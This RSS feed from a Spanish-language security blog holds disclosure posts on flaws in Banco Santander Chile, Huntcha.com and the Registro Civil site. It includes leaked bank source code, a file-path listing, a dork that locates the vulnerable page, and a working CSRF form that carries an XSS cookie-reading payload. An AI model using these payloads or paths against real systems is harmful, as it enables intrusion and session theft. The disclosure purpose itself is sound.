<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Hacking</title>
	<atom:link href="http://blog.zerial.org/tag/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Wed, 08 Feb 2012 20:48:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 12:23:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2881</guid>
		<description><![CDATA[Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas. Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), [...]]]></description>
			<content:encoded><![CDATA[<p>Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas.</p>
<p>Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.</p>
<p>Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a <strong><a href="http://twitter.com/Van_ultraviolet">@Van_ultraviolet</a></strong>, que le respondieron:</p>
<ul>
<li>Es una persona que necesita mucha atención, por eso hace esto.</li>
<li>Cualquier persona puede acceder al código fuente.</li>
<li>Revisamos las alertas del <strong>pseudo-hacker</strong> y no son reales.</li>
</ul>
<p>Pueden ver a respuesta completa aca: <a href="http://twitter.theinfo.org/152376559511142400">http://twitter.theinfo.org/152376559511142400</a></p>
<p>Considero que esto es <strong>impresentable</strong> y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.</p>
<p>Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del <em>Source Code Disclosure</em> y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.</p>
<p>El banco no ha respondido publicamente sobre el asunto, el &#8220;canal web&#8221; y el llamado &#8220;Community Manager&#8221; que maneja la cuenta de Twitter (<a href="http://twitter.com/santanderchile">@SantanderChile</a>), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.</p>
<p>Como conclusión, hay 3 empresas involucradas:</p>
<ol>
<li>Santander: La entidad afectada, el Banco.</li>
<li>TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.</li>
<li>NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la &#8220;seguridad&#8221; del Banco, es decir, es la &#8220;empresa lider en seguridad informatica&#8221; que audita periodicamente los sistemas del santander, <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">según ellos; Aviso de seguridad Santander</a>.</li>
</ol>
<p>De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.</p>
<p>Ustedes juzguen.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"  data-text="Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Acceso al codigo fuente del Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 17:00:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2868</guid>
		<description><![CDATA[Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al [...]]]></description>
			<content:encoded><![CDATA[<p>Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al codigo fuente del sistema.</p>
<p>Se trata de una vulnerabilidad <strong>Local File Include</strong> +<strong> Directory Traversal</strong> = <strong>Source Code Disclosure</strong>, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.</p>
<p>Lo curioso es que segun el <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">aviso de seguridad oficial del banco santander</a>, hay una empresa &#8220;lider&#8221; en seguridad informática que les hace auditoría periodica:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png"><img class="aligncenter size-full wp-image-2869" title="avisoseg" src="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png" alt="" width="529" height="220" /></a></p>
<p>Cierto, parece un chiste.<br />
<span id="more-2868"></span></p>
<p>La vulnerabilidad está presente en el archivo &#8220;VerRentabilidad.asp&#8221;, que sirve para ver la rentabilidad de &#8220;algo&#8221;. El archivo necesita que se le entregue una variable &#8220;Numero&#8221;, al cual debemos pasarle especificamente un archivo y será descargado.<br />
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga</p>
<pre name="code" class="c">
        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" &#038; nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") &#038; Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" &#038; nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if
</pre>
<p>En la línea 01 almacena en la variable &#8220;nombrePDF&#8221; el valor que le entegamos por URL mediante la variable &#8220;Numero&#8221;, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.</p>
<p>Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.</p>
<p>Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema</p>
<blockquote><p>transa/<br />
transa/ErrorDB/<br />
transa/DHS/<br />
transa/solicitud/<br />
transa/include/<br />
transa/Productos/<br />
transa/Productos/include/<br />
transa/preerror.asp<br />
transa/logteclado.asp<br />
transa/FuncBanco.asp<br />
transa/common.asp<br />
transa/cruce.asp<br />
transa/ErrorDB/LogHOB.asp<br />
transa/DHS/Constantes.asp<br />
transa/DHS/DHSFuncs.asp<br />
transa/solicitud/constantes_campana.asp<br />
transa/include/ReadWriteSesion.asp<br />
transa/include/TrampHBFC.asp<br />
transa/include/prodini.asp<br />
transa/Productos/include/ProdMenu.asp</p></blockquote>
<p>Por ejemplo, <strong>ReadWriteSesion.asp</strong>:</p>
<pre name="code" class="c">
ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) &#038; right("00"&#038;month(now()),2) &#038; right("00"&#038;day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) &#038; "ErrorEstComp" &#038; NameArr &#038; fecha &#038; ".txt"
	Linea = "	URL = " &#038; URL
	Linea = Linea &#038; "	Detalle = " &#038; Objeto
	linea = fecha&#038;";"&#038; TimeValue(now()) &#038;";" &#038; linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function
</pre>
<p>Otor ejemplo, el archivo <strong>cruce.asp</strong>:</p>
<pre name="code" class="c">
'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME &#038; "/transa/partida.asp"
        path_sinper = SECWEBNAME &#038; "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************
</pre>
<p>Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el <a href="http://www.santander.cl/campanas/pi_mejor_banco/index.asp?o=ebinf">sistema de banco mas seguro de latinoamerica</a>.</p>
<p>A todas las personas que lean este artículo:<br />
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.<br />
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.<br />
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.<br />
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.<br />
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.<br />
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.</p>
<p>A los encargados de seguridad de los bancos u otras entidades:<br />
- La seguridad no es unicamente enviar emails y dar consejos tipo &#8220;no abras links&#8221;<br />
- La seguridad de tu institucion no depende de un certificado SSL.</p>
<p>Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.<br />
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:<br />
<a href="http://www.google.cl/search?q=site%3Asantander.cl+inurl%3AVerRentabilidad&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official"><strong>site:santander.cl inurl:VerRentabilidad</strong></a><br />
No es necesario estar logueado en el sistema para poder explotarla.</p>
<p>Solo me queda una pregunta&#8230; <strong>¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?</strong></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Facceso-al-codigo-fuente-del-banco-santander-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"  data-text="Acceso al codigo fuente del Banco Santander Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>Fallos de seguridad en Huntcha.com</title>
		<link>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/</link>
		<comments>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 02:47:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2845</guid>
		<description><![CDATA[Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png"><img class="aligncenter size-full wp-image-2846" title="huntchalogo" src="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png" alt="" width="213" height="65" /></a>Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los amores secretos&#8221; de esa persona. Si esta persona está emparejada y está casado, se podría armar un lio mas o menos.</p>
<p>Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:</p>
<blockquote><p><strong>Política de Privacidad</strong></p>
<p>En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la  empresa respeta el deber de proteger los datos de carácter privado y  personales de los usuarios, no dando acceso a ellos al público a menos  que el propio usuario los de a conocer, por medio de la página web bajo  su consentimiento, no pudiendo hacer responsable a la empresa por la  información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales  tomando todas las medidas necesarias para esto, a fin de evitar la  pérdida, mal uso o cualquier apropiación indebida de estos mismos.</p></blockquote>
<p>Lo que más me llama la atención es que segun ellos, son <a href="https://twitter.com/#!/huntcha_com/status/140430867058266112">100% privados y seguros</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png"><img class="aligncenter size-full wp-image-2847" title="seguroyprivado" src="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png" alt="" width="548" height="216" /></a></p>
<p>Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% <strong>no existe</strong>.</p>
<p>He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.</p>
<p>Las vulnerabilidades son <strong>Cross-Site Request Forgery</strong> (CSRF) y <strong>Cross-Site Scripting</strong> (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a &#8220;tus amigos&#8221; para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.</p>
<p><span id="more-2845"></span></p>
<p>Uno de los XSS detectados está en la página de error, cuando no encuentra el &#8220;módulo&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png"><img class="aligncenter size-full wp-image-2850" title="xss1" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png" alt="" width="568" height="350" /></a></p>
<p>El segundo Cross-Site Scripting, lo encontré al momento de configurar el &#8220;Boss-Mode&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png"><img class="aligncenter size-full wp-image-2851" title="xss2" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png" alt="" width="565" height="508" /></a></p>
<p>Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un &#8220;mensaje&#8221; enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png"><img class="aligncenter size-full wp-image-2852" title="mail_form1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png" alt="" width="570" height="517" /></a></p>
<p>Si falsificamos ese formulario y lo corremos de forma local, con un simple html:</p>
<blockquote><p>&lt;form method=post action=http://www.huntcha.com/?c=app&amp;m=send_invitation&gt;<br />
Token Falso: &lt;input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391&gt;&lt;br&gt;<br />
Nombre: &lt;input type=text name=name value=&#8221;AAA&#8221;&gt;&lt;br&gt;<br />
Destino: &lt;input type=text name=mail value=panic@zerial.org&gt;&lt;br&gt;<br />
Mensaje: &lt;input type=text name=message value=&#8221;hola&lt;a href=&#8217;http://www.huntcha.com/?c=index&amp;m=bossmode_denied&amp;url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl&#8217;&gt;AAA&lt;/a&gt;&#8221;&gt;&lt;br&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>El formulario nos quedaría de la siguiente forma:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png"><img class="aligncenter size-full wp-image-2856" title="mail_form_poc1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png" alt="" width="310" height="115" /></a></p>
<p>Cuando le damos a &#8220;Submit query&#8221;, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png"><img class="aligncenter size-full wp-image-2858" title="mail_form_poc3" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png" alt="" width="534" height="391" /></a>En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.</p>
<p>La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a <strong>cualquier</strong> portal o sitio web. Hoy en día <strong>todas</strong> las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.</p>
<p>El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffallos-de-seguridad-en-huntcha-com%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"  data-text="Fallos de seguridad en Huntcha.com" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
